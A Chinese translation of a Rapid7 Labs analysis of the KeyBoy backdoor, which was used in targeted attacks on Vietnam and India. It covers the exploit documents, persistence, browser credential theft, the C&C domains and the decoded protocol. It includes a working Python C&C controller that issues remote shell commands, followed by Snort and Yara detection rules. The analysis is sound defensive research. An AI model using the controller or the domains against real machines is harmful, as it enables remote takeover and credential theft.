首页 > 安全 > 网络安全 >

关于KeyBoy针对越南和印度的攻击分析

2013-09-05

在对互联网上恶意代码的持续追踪和揭露过程中,我和马克偶然发现了一个明显针对各类地区不同人群受害者的针对性攻击行为。在这篇文章中,我们将分析两起针对印度和越南的攻击事件,在描述攻击行为中自定义后门功...

在对互联网上恶意代码的持续追踪和揭露过程中,我和马克偶然发现了一个明显针对各类地区不同人群受害者的针对性攻击行为。在这篇文章中,我们将分析两起针对印度和越南的攻击事件,在描述攻击行为中自定义后门功能的同时,为了方便(据我们所知它还没有名字),我们根据其中一个样本中发现的字符串“KeyBoy”来命名这个后门。

我们将展示攻击者是如何操作这些后门,并提供一些能帮助我们深入研究攻击的脚本,这对检测感染或寻找更多样本数据有一定价值。

漏洞利用和植入主体

几天前我们发现了第一个名为"THAM luan- GD- NCKH2.doc"的漏洞利用文件,它利用的是MS12-060补丁所修复的漏洞。当使用有漏洞的Word版本打开此文件时,恶意代码就会开始执行并显示正常的文件(如下):

document

这个用越南语书写的文档看起来是回顾和讨论科学研究和教学话题的最佳实践。我们对于被攻击者的身份一无所知,但我们猜测他可能是越南学术界的一员。这个文件的署名显示其作者叫“NguyenAnh Tuan”。

以下是漏洞利用文件的HASH值:

THAM luan- GD- NCKH2.doc

THAM luan- GD- NCKH2-HASH

当漏洞利用成功后,会首先在路径%Temp%\svchost.exe处创建并且启动dropper木马,该文件HASH值如下:

svchost.exe

svchost-HASH

上面的木马植入程序svchost.exe会在system32目录下创建CREDRIVER.dll文件,这其实才是是真正的后门。

CREDRIVER.dll

CREDRIVER-HASH

我们还确认了另外一个利用CVE-2012-0158漏洞的文件,但这次攻击的对象显然是印度人。文件的内容如下所示:

indiadoc

这份文件内容显示与印度加尔各答行政区的电信设施有关,里面讨论了GSM网络的覆盖率和宽频连接的可行性和稳定性。

在这次攻击中我们同样无法获知被攻击者的身份,但我们猜测可能是电信公司的某个工作人员或者当地政府的代表。在这个攻击事件中,这份文件被精心伪装后的署名是“Amir Kumar Gupta”。

iafbsnl.doc

iafbsnl-HASH

CREDRIVER.dll

iafbsnl-HASH

CREDRIVER-HASH2

两次攻击的后门程序都显示其编译时间为2013年4月1日,表明上述攻击是近期才发生的。

后门分析

这里我们将采用越南攻击事件的那个后门作为样本进行分析,在印度攻击事件中所采集样本的运作方式与越南攻击事件的样本是完全一样的。

前文提到漏洞利用时会创建并运行dropper木马,dropper接着会创建一个名为“MdAdum”的Windows服务,该服务在注册表中显示如下:

service_1 service_2

随后dropper木马启动了位于C:\WINDOWS\system32\CREDRIVER.dll的DLL服务,并进行自我删除。系统每次启动时会执行这个服务,从而保证在后门在系统中的稳定性。

值得一提的是,在印度的攻击事件中并没有采用dropper木马这个中间步骤,而是直接安装和启动Windows服务。

这个后门有如下特性:

1.窃取IE浏览器安全证书;

2.窃取火狐浏览器安全证书;

3.安装键盘记录程序以截获谷歌浏览器安全证书;

4.设置为交互模式,允许攻击者在受害者系统上执行额外的调查和数据传输。

接下来你可以看到的部分代码,展示了这个后门在确认系统上安装的火狐浏览器版本后,决定采用何种技术来恢复浏览器的本地储存文件。

ffversion

对于老版本的火狐浏览器,证书保存在%AppData%\Mozilla\Firefox路径下的几个txt文件中。在最新的版本中,则被存储在SQLite数据库中。下图你可以看到通过执行SQL语句从中提取数据。

ffpwd

同样,此后门会尝试收集IE浏览器中自动保存的密码:

ie7pwd

这个后门还会创建单独的线程安装Windows钩子程序来处理WH_KEYBOARD_LL消息以截获按键信息。我们认为这个程序主要用于拦截其它浏览器的安全证书,尤其是谷歌浏览器。

keylog

协议分析

这个后门程序会尝试连接以下域名的主机,直到获得其中一个在线主机的响应:

  • silence.phdns01.com

  • cpnet.phmail.us

  • imlang.phmail.org

在印度发现的后门程序则会尝试连接如下域名的主机:

  • cresy.zyns.com

  • preter.epac.to

  • backto.ddns.name

第一组域名全是用Whois代理服务或虚假的身份注册。第二组域名使用了ChangeIP.com提供的动态DNS服务。

下表是通过收集牵涉两次攻击事件中主机的被动DNS数据进行的追踪:

DNS-DATA

这是后门通过443端口向在线C&C服务器发送的初始请求:


00000000  c4 4c 87 3f 11 1e c4 1a  2c a9 12 1a 19 61 82 de  |.L.?….,….a..|
00000010  19 26 f8 de bd 26 de 19  b0 19 1a 95 a1 dd 2b 6d  |.&…&……..+m|
00000020  c2 1a 82 b0 19 eb 47 b0  26 47 b0 26 20 82 eb ca  |……G.&G.& …|
00000030  bd 26 ca 82 54 1a d0 c2  87 38 a1 20 82 b0 19 eb  |.&..T….8. ….|
00000040  b0 54 b0 19 1a 00                                 |.T….|

在分析期间所有C&C服务器都没有进行消息响应,于是我们开始对通信协议进行逆向分析,发现它通过将发往C&C服务器的流量与0×69相乘进行简单的编码。通过下面的Python代码可以很轻易的对流量内容的进行解码:


def decode(x):  
    return ''.join([chr((ord(i)*0xd9)&0xff) for i in x])

前面的数据包解码如下:

$login$

LAB

192.168.56.101

MyUser

2013/06/06 23:56:24

Proxy 20130401

通过对后门程序的逆向分析,我们发现恶意软件能够从C&C服务器获得如下消息:

Sysinfo

FileManager

Download

UploadFileOk

Shell

这些功能引起了我们的好奇,于是我们开始重现它的通信协议,并实际制作了一个与攻击者原本使用的控制器操作起来很像的工具。下面是最初的Python脚本,用来执行恶意软件的协议,并允许你与它进行交互:


#!/usr/bin/env python  
# Rapid7 Labs  
# 2013-06-06  
#  
# (c) 2013 Rapid7  
# http://www.rapid7.com  
   
   
import sys  
import socket  
import select  
   
   
def decode(x):  
    return ''.join([chr((ord(i)*0xd9)&0xff) for i in x])  
   
   
def encode(x):  
    return ''.join([chr((ord(i)*0x93)&0xff) for i in x])  
   
   
def main():  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
    s.bind(("0.0.0.0", 443))  
    s.listen(1)  
   
   
    print "[*] C&C Running on 0.0.0.0:443"  
   
   
    while True:  
        s2, ca = s.accept()  
        print "[+] New client connected:", ca  
   
        while True:  
            dec = ""  
            rlist, wlist, xlist = select.select([s2,],[],[], 10)  
            while rlist:  
                data = s2.recv(2048)  
                if not data: break  
   
   
                dec = decode(data)  
                print dec  
                rlist, wlist, xlist = select.select([s2,],[],[], 2)  
   
   
            if dec.startswith("$login$"):  
                print "[+] Authenticating on the bot"  
                s2.send(encode("login_OK")+ "\x00")  
                s2.send(encode("Refresh")+ "\x00")  
            elif dec.startswith("OnLine"):  
                s2.send(encode("test")+ "\x00") # Replace "test" with "dns.com" in case of the Indian sample.  
            else:  
                cmd = raw_input("shell> ").strip()  
                s2.send(encode(cmd)+"\x00")  
   
   
        s2.close()  
   
   
    s.close()  
    return 0  
   
   
if __name__ == "__main__":  
    try: sys.exit(main())  
    except KeyboardInterrupt: pass

我们启动了这个脚本,重新定向被KeyBoy感染的系统的流量,然后控制了被感染系统。

这里你能看到僵尸主机(即被感染主机)被激活并请求身份验证(有趣的是密码竟然是“test”,而印度攻击事件的样本用的是“dns.com”):


[*] C&C Running on 0.0.0.0:443

[+] New client connected: ('192.168.56.110', 1443)

$login$

LAB

192.168.56.110

MyUser

2013/06/07 02:18:35

Proxy 20130401

[+] Authenticating on the bot

OnLine

Pw_OK

身份被确认后,我们采用命令行的方式来实现与僵尸主机的实时交互。我们前面确认的消息就是发送给僵尸主机的实际命令。

  • Sysinfo: 返回电脑上的详细信息(几乎就是执行systeminfo的输出信息),僵尸主机的消息回应以$sysinfo$开头。

  • FileManager: 与受感染系统上的所有可用的磁盘进行交互,僵尸主机的消息回应以$fileManager$开头。

  • Download: 从被入侵的系统上下载文件,僵尸主机的消息回应以$fileDownload$开头。

  • UploadFileOk:上传文件到被入侵的系统,僵尸主机的消息回应以$fileUpload$开头。

更有趣的是通过“shell”命令可以形成一个用于控制远程的Windows CMD Shell。


shell> Shell
$shell$
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\WINDOWS\system32>
 
shell> tasklist
$shell$
tasklist
 
$shell$
Image Name                   PID Session Name     Session#    Mem Usage
========================= ====== ================ ======== ============
System Idle Process            0 Console                 0         28 K
System                         4 Console                 0        236 K
smss.exe                     368 Console                 0        388 K
csrss.exe                    584 Console                 0      3,740 K
winlogon.exe                 608 Console                 0      4,312 K
services.exe                 652 Console                 0      3,368 K
lsass.exe                    664 Console                 0      6,152 K
VBoxService.exe              820 Console                 0      3,092 K
svchost.exe                  864 Console                 0      4,696 K
svchost.exe                  952 Console                 0      4,252 K
svchost.exe                 1044 Console                 0     20,424 K
svchost.exe                 1100 Console                 0      3,584 K
svchost.exe                 1160 Console                 0      4,268 K
spoolsv.exe                 1428 Console                 0      4,996 K
explorer.exe                1656 Console                 0     29,944 K
VBoxTray.exe                1820 Console                 0      3,620 K
GrooveMonitor.exe           1868 Console                 0      4,340 K
ctfmon.exe                  1888 Console                 0      3,148 K
jqs.exe                     2040 Console                 0      1,396 K
vmware-usbarbitrator.exe     248 Console                 0      3,180 K
alg.exe                     1380 Console                 0      3,440 K
wscntfy.exe                 1692 Console                 0      1,804 K
wuauclt.exe                 1116 Console                 0      6,568 K
svchost.exe                  796 Console                 0      4,088 K
cmd.exe                      480 Console                 0      2,624 K
tasklist.exe                 724 Console                 0      4,068 K
wmiprvse.exe                1256 Console                 0      5,544 K
 
C:\WINDOWS\system32>

虽然与僵尸主机的交互也可以通过脚本完成,但也有可能这些入侵操作是专门通过手工的方式与目标进行交互,依据他们入侵的每个独立个体和他们设定的攻击目标来收集不同的数据信息。

检测感染

尽管这些攻击不像其它针对性攻击那样“广撒网,猛捞鱼”,但我们不应该像其他大多数不相关的组织那样发布危言耸听的威胁论,我们想要分享一些指标来帮助识别感染者,或者帮助后续有兴趣研究这次攻击的人。

首先,这个恶意软件进行身份认证的过程中会包含固定特征,我们可以通过如下简单的Snort规则检测出被感染主机的对外流量:

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"KeyBoy Backdoor Login"; flow:to_server; content:"|c4 4c 87 3f 11 1e c4 1a|"; depth:8; sid:1000001; rev:1; classtype:trojan-activity; reference:url,community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-tar geted-attacks-against-vietnam-and-india)

在Windows系统中,最简单的检测感染的方式是查看是否存在C:\WINDOWS\system32\CREDRIVER.dll文件或者一个叫MdAdum的服务。

我们也创建了一组Yara规则,你可以用来扫描自己的系统、收集的恶意软件样本来识别KeyBoy。


rule KeyBoy_Dropper  
{  
    meta:  
        author = "Rapid7 Labs"  
        reference = "https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"  
   
    strings:  
        $1 = "I am Admin"  
        $2 = "I am User"  
        $3 = "Run install success!"  
        $4 = "Service install success!"  
        $5 = "Something Error!"  
        $6 = "Not Configed, Exiting"  
   
    condition:  
        all of them  
}  
   
rule KeyBoy_Backdoor  
{  
    meta:  
        author = "Rapid7 Labs"  
        reference = "https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india"  
   
    strings:  
        $1 = "$login$"  
        $2 = "$sysinfo$"  
        $3 = "$shell$"  
        $4 = "$fileManager$"  
        $5 = "$fileDownload$"  
        $6 = "$fileUpload$"  
   
    condition:  
        all of them  
}

结语

恶意攻击天天有,没有一天是太平。最近这种针对性攻击的数量及规模的增长情况反映出网络攻击开始更像是进行投机取巧的地毯式轰炸而不是像忍者那样有针对性的攻击。经常能够看到攻击手段并没有包含特别的技巧就取得了成功,包括本文所讲到的案例。

我们也很难断定这些攻击是否是来自由某些国家所支持的单位,因为在这些事件中我们缺少强有力的证据(这也是为什么我们极力避免对入侵的来源做出任何声明),而且坦白来说几乎任何个人都可以实施这些攻击活动并取得成功。唯一能区分不同攻击者差别的方式在于确认其动机及背景。

特比提醒,正因为这些攻击的目标仅仅在概念上是具有针对性的,所以在你的安全计划中相比其他安全威胁没有必要将他们设定为更高级别。我们的建议仍然是:确定你的核心资产,意识到对这些资产最大的威胁,然后对其自身进行相应的提醒和防护。

来源声明:本文来自Cuckoo沙盒和Malwr作者Claudio Guarnieri的博文《KeyBoy, Targeted Attacks against Vietnam and India》,由IDF实验室王维翻译


相关文章
最新文章
热点推荐